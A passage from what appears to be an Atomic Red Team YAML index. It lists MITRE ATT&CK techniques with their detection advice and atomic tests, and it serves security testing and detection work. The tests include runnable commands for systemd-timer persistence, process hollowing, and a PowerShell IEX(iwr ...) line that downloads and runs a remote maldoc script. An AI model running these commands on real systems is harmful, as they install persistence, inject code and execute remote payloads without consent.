      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053/006
        external_id: T1053.006
      - source_name: Systemd Remote Control
        description: Aaron Kili. (2018, January 16). How to Control Systemd Services
          on Remote Linux Server. Retrieved July 26, 2021.
        url: https://www.tecmint.com/control-systemd-services-on-remote-linux-server/
      - source_name: archlinux Systemd Timers Aug 2020
        description: archlinux. (2020, August 11). systemd/Timers. Retrieved October
          12, 2020.
        url: https://wiki.archlinux.org/index.php/Systemd/Timers
      - source_name: gist Arch package compromise 10JUL2018
        description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
          Arch package compromise. Retrieved April 23, 2019.
        url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
      - source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
        description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
          AUR Package Repository. Retrieved April 23, 2019.
        url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
      - source_name: acroread package compromised Arch Linux Mail 8JUL2018
        description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
          April 23, 2019.
        url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
      - source_name: 'Falcon Sandbox smp: 28553b3a9d'
        description: Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7.
          Retrieved September 8, 2023.
        url: https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300
      - source_name: 'Linux man-pages: systemd January 2014'
        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
          Retrieved April 23, 2019.
        url: http://man7.org/linux/man-pages/man1/systemd.1.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1053.006
    atomic_tests:
    - name: Create Systemd Service and Timer
      auto_generated_guid: f4983098-bb13-44fb-9b2c-46149961807b
      description: "This test creates Systemd service and timer then starts and enables
        the Systemd timer \n"
      supported_platforms:
      - linux
      input_arguments:
        path_to_systemd_service:
          description: Path to systemd service unit file
          type: path
          default: "/etc/systemd/system/art-timer.service"
        path_to_systemd_timer:
          description: Path to service timer file
          type: path
          default: "/etc/systemd/system/art-timer.timer"
        systemd_service_name:
          description: Name of systemd service
          type: string
          default: art-timer.service
        systemd_timer_name:
          description: Name of systemd service timer
          type: string
          default: art-timer.timer
      executor:
        command: |
          echo "[Unit]" > #{path_to_systemd_service}
          echo "Description=Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_service}
          echo "[Service]" >> #{path_to_systemd_service}
          echo "Type=simple" >> #{path_to_systemd_service}
          echo "ExecStart=/bin/touch /tmp/art-systemd-timer-marker" >> #{path_to_systemd_service}
          echo "[Install]" >> #{path_to_systemd_service}
          echo "WantedBy=multi-user.target" >> #{path_to_systemd_service}
          echo "[Unit]" > #{path_to_systemd_timer}
          echo "Description=Executes Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_timer}
          echo "Requires=#{systemd_service_name}" >> #{path_to_systemd_timer}
          echo "[Timer]" >> #{path_to_systemd_timer}
          echo "Unit=#{systemd_service_name}" >> #{path_to_systemd_timer}
          echo "OnCalendar=*-*-* *:*:00" >> #{path_to_systemd_timer}
          echo "[Install]" >> #{path_to_systemd_timer}
          echo "WantedBy=timers.target" >> #{path_to_systemd_timer}
          systemctl start #{systemd_timer_name}
          systemctl enable #{systemd_timer_name}
          systemctl daemon-reload
        cleanup_command: |
          systemctl stop #{systemd_timer_name}
          systemctl disable #{systemd_timer_name}
          rm #{path_to_systemd_service}
          rm #{path_to_systemd_timer}
          systemctl daemon-reload
        name: bash
    - name: Create a user level transient systemd service and timer
      auto_generated_guid: 3de33f5b-62e5-4e63-a2a0-6fd8808c80ec
      description: "Schedule a user level transient task (will not survive a reboot)
        without having to create the .timer or .service files by using the systemd-run
        command. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemd-run exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else
          exit 1; fi;

          '
        get_prereq_command: 'echo "Install systemd on the machine."; exit 1;

          '
      executor:
        elevation_required: false
        command: 'systemd-run --user --unit=Atomic-Red-Team --on-calendar ''*:0/1''
          /bin/sh -c ''echo "$(date) $(whoami)" >>/tmp/log''

          '
        cleanup_command: |
          systemctl --user stop Atomic-Red-Team.service
          systemctl --user stop Atomic-Red-Team.timer
          rm /tmp/log
        name: sh
    - name: Create a system level transient systemd service and timer
      auto_generated_guid: d3eda496-1fc0-49e9-aff5-3bec5da9fa22
      description: "Schedule a system level transient task (will not survive a reboot)
        without having to create the .timer or .service files by using the systemd-run
        command. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemd-run exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else
          exit 1; fi;

          '
        get_prereq_command: 'echo "Install systemd on the machine."; exit 1;

          '
      executor:
        elevation_required: true
        command: 'systemd-run --unit=Atomic-Red-Team --on-calendar ''*:0/1'' /bin/sh
          -c ''echo "$(date) $(whoami)" >>/tmp/log''

          '
        cleanup_command: |
          systemctl stop Atomic-Red-Team.service
          systemctl stop Atomic-Red-Team.timer
          rm /tmp/log
        name: sh
  T1574:
    technique:
      modified: '2023-11-21T20:02:33.404Z'
      name: Hijack Execution Flow
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.

        There are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.

        Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.

        Monitor for changes to environment variables, as well as the commands to implement these changes.

        Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.

        Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

        Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Service: Service Metadata'
      - 'File: File Modification'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application Control
      type: attack-pattern
      id: attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6
      created: '2020-03-12T20:38:12.465Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574
        external_id: T1574
      - source_name: Autoruns for Windows
        description: Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96.
          Retrieved March 13, 2020.
        url: https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1543.005:
    technique:
      modified: '2024-04-16T12:35:38.832Z'
      name: Container Service
      description: |-
        Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host.

        For example, by using the `docker run` or `podman run` command with the `restart=always` directive, a container can be configured to persistently restart on the host.(Citation: AquaSec TeamTNT 2023) A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.(Citation: GTFOBins Docker)

        In Kubernetes environments, DaemonSets allow an adversary to persistently [Deploy Container](https://attack.mitre.org/techniques/T1610)s on all nodes, including ones added later to the cluster.(Citation: Aquasec Kubernetes Attack 2023)(Citation: Kubernetes DaemonSet) Pods can also be deployed to specific nodes using the `nodeSelector` or `nodeName` fields in the pod spec.(Citation: Kubernetes Assigning Pods to Nodes)(Citation: AppSecco Kubernetes Namespace Breakout 2020)

        Note that containers can also be configured to run as [Systemd Service](https://attack.mitre.org/techniques/T1543/002)s.(Citation: Podman Systemd)(Citation: Docker Systemd)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Container: Container Creation'
      type: attack-pattern
      id: attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a
      created: '2024-02-15T13:41:46.784Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1543/005
        external_id: T1543.005
      - source_name: AppSecco Kubernetes Namespace Breakout 2020
        description: Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout
          using Insecure Host Path Volume — Part 1. Retrieved January 16, 2024.
        url: https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216
      - source_name: Docker Systemd
        description: Docker. (n.d.). Start containers automatically. Retrieved February
          15, 2024.
        url: https://docs.docker.com/config/containers/start-containers-automatically/
      - source_name: GTFOBins Docker
        description: GTFOBins. (n.d.). docker. Retrieved February 15, 2024.
        url: https://gtfobins.github.io/gtfobins/docker/
      - source_name: Kubernetes Assigning Pods to Nodes
        description: Kubernetes. (n.d.). Assigning Pods to Nodes. Retrieved February
          15, 2024.
        url: https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/
      - source_name: Kubernetes DaemonSet
        description: Kubernetes. (n.d.). DaemonSet. Retrieved February 15, 2024.
        url: https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/
      - source_name: Aquasec Kubernetes Attack 2023
        description: Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever
          Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14,
          2023.
        url: https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters
      - source_name: AquaSec TeamTNT 2023
        description: Ofek Itach and Assaf Morag. (2023, July 13). TeamTNT Reemerged
          with New Aggressive Cloud Campaign. Retrieved February 15, 2024.
        url: https://blog.aquasec.com/teamtnt-reemerged-with-new-aggressive-cloud-campaign
      - source_name: Podman Systemd
        description: Valentin Rothberg. (2022, March 16). How to run pods as systemd
          services with Podman. Retrieved February 15, 2024.
        url: https://www.redhat.com/sysadmin/podman-run-pods-systemd-services
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1078:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Valid Accounts
      description: |-
        Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.

        In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)

        The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_contributors:
      - Syed Ummar Farooqh, McAfee
      - Prasad Somasamudram, McAfee
      - Sekhar Sarukkai, McAfee
      - Jon Sternstein, Stern Security
      - Yossi Weizman, Azure Defender Research Team
      - Netskope
      - Mark Wee
      - Praetorian
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

        Perform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '2.6'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Metadata'
      x_mitre_defense_bypassed:
      - Firewall
      - Anti-virus
      - Host Intrusion Prevention Systems
      - Network Intrusion Detection System
      - Application Control
      - System Access Controls
      x_mitre_effective_permissions:
      - User
      - Administrator
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81
      created: '2017-05-31T21:31:00.645Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078
        external_id: T1078
      - source_name: volexity_0day_sophos_FW
        description: 'Adair, S., Lancaster, T., Volexity Threat Research. (2022, June
          15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious
          Breach. Retrieved July 1, 2022.'
        url: https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/
      - source_name: CISA MFA PrintNightmare
        description: Cybersecurity and Infrastructure Security Agency. (2022, March
          15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting
          Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability.
          Retrieved March 16, 2022.
        url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a
      - source_name: TechNet Credential Theft
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn535501.aspx
      - source_name: TechNet Audit Policy
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/library/dn487457.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
    atomic_tests: []
  T1055.012:
    technique:
      modified: '2023-08-11T21:37:00.009Z'
      name: 'Process Injection: Process Hollowing'
      description: "Adversaries may inject malicious code into suspended and hollowed
        processes in order to evade process-based defenses. Process hollowing is a
        method of executing arbitrary code in the address space of a separate live
        process.  \n\nProcess hollowing is commonly performed by creating a process
        in a suspended state then unmapping/hollowing its memory, which can then be
        replaced with malicious code. A victim process can be created with native
        Windows API calls such as <code>CreateProcess</code>, which includes a flag
        to suspend the processes primary thread. At this point the process can be
        unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>
        \ before being written to, realigned to the injected code, and resumed via
        <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>,
        then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation:
        Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local
        Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new
        process rather than targeting an existing process. This behavior will likely
        not result in elevated privileges since the injected process was spawned from
        (and thus inherits the security context) of the injecting process. However,
        execution via process hollowing may also evade detection from security products
        since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>, and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)

        Processing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process’ thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)

        Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: Process Modification'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4
      created: '2020-01-14T17:21:54.470Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1055/012
        external_id: T1055.012
      - source_name: Nviso Spoof Command Line 2020
        description: 'Daman, R. (2020, February 4). The return of the spoof part 2:
          Command line spoofing. Retrieved November 19, 2021.'
        url: https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/
      - source_name: Elastic Process Injection July 2017
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
      - source_name: Leitch Hollowing
        description: Leitch, J. (n.d.). Process Hollowing. Retrieved November 12,
          2014.
        url: http://www.autosectools.com/process-hollowing.pdf
      - source_name: Mandiant Endpoint Evading 2019
        description: 'Pena, E., Erikson, C. (2019, October 10). Staying Hidden on
          the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.'
        url: https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1055.012
    atomic_tests:
    - name: Process Hollowing using PowerShell
      auto_generated_guid: 562427b4-39ef-4e8c-af88-463a78e70b9c
      description: |
        This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.
        Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)
      supported_platforms:
      - windows
      input_arguments:
        hollow_binary_path:
          description: Path of the binary to hollow (executable that will run inside
            the sponsor)
          type: string
          default: C:\Windows\System32\cmd.exe
        parent_process_name:
          description: Name of the parent process
          type: string
          default: explorer
        sponsor_binary_path:
          description: Path of the sponsor binary (executable that will host the binary)
          type: string
          default: C:\Windows\System32\notepad.exe
        spawnto_process_name:
          description: Name of the process to spawn
          type: string
          default: notepad
      executor:
        command: |
          . "$PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1"
          $ppid=Get-Process #{parent_process_name} | select -expand id
          Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
        cleanup_command: 'Stop-Process -Name "#{spawnto_process_name}" -ErrorAction
          Ignore

          '
        name: powershell
    - name: RunPE via VBA
      auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b
      description: 'This module executes notepad.exe from within the WINWORD.EXE process

        '
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\"
          -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1055.012\\src\\T1055.012-macrocode.txt\"
          -officeProduct \"#{ms_product}\" -sub \"Exploit\"\n"
        name: powershell
    - name: Process Hollowing in Go using CreateProcessW WinAPI
      auto_generated_guid: c8f98fe1-c89b-4c49-a7e3-d60ee4bc2f5a
      description: |
        Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process.
        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)
      supported_platforms:
      - windows
      input_arguments:
        hollow_binary_path:
          description: Path of the binary to hollow
          type: string
          default: C:\Windows\System32\werfault.exe
        hollow_process_name:
          description: Name of the process to hollow
          type: string
          default: werfault
      executor:
        name: powershell
        elevation_required: false
        command: '$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program
          "#{hollow_binary_path}" -debug

          '
        cleanup_command: |
          Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
          Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
    - name: Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)
      auto_generated_guid: 94903cc5-d462-498a-b919-b1e5ab155fee
      description: |
        Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process.
        This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe
        allows for the retrieval of output generated from executed shellcode.
        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
      supported_platforms:
      - windows
      input_arguments:
        hollow_binary_path:
          description: Path of the binary to hollow
          type: string
          default: C:\Windows\System32\werfault.exe
        hollow_process_name:
          description: Name of the process to hollow
          type: string
          default: werfault
      executor:
        name: powershell
        elevation_required: false
        command: '$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe
          -program "#{hollow_binary_path}" -debug

          '
        cleanup_command: |-
          Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
          Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
  T1068:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Exploitation for Privilege Escalation
      description: |-
        Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

        When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.

        Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics
      - Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security
      - Idan Revivo, @idanr86, Team Nautilus Aqua Security
      - David Tayouri
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)

        Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'Driver: Driver Load'
      - 'Process: Process Creation'
      x_mitre_effective_permissions:
      - User
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839
      created: '2017-05-31T21:30:55.066Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1068
        external_id: T1068
      - source_name: ESET InvisiMole June 2020
        description: 'Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE
          HIDDEN PART OF THE STORY. Retrieved July 16, 2020.'
        url: https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf
      - source_name: Microsoft Driver Block Rules
        description: Microsoft. (2020, October 15). Microsoft recommended driver block
          rules. Retrieved March 16, 2021.
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules
      - source_name: Unit42 AcidBox June 2020
        description: 'Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare
          Malware Repurposing Turla Group Exploit Targeted Russian Organizations.
          Retrieved March 16, 2021.'
        url: https://unit42.paloaltonetworks.com/acidbox-rare-malware/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1546:
    technique:
      modified: '2024-03-01T15:49:15.588Z'
      name: Event Triggered Execution
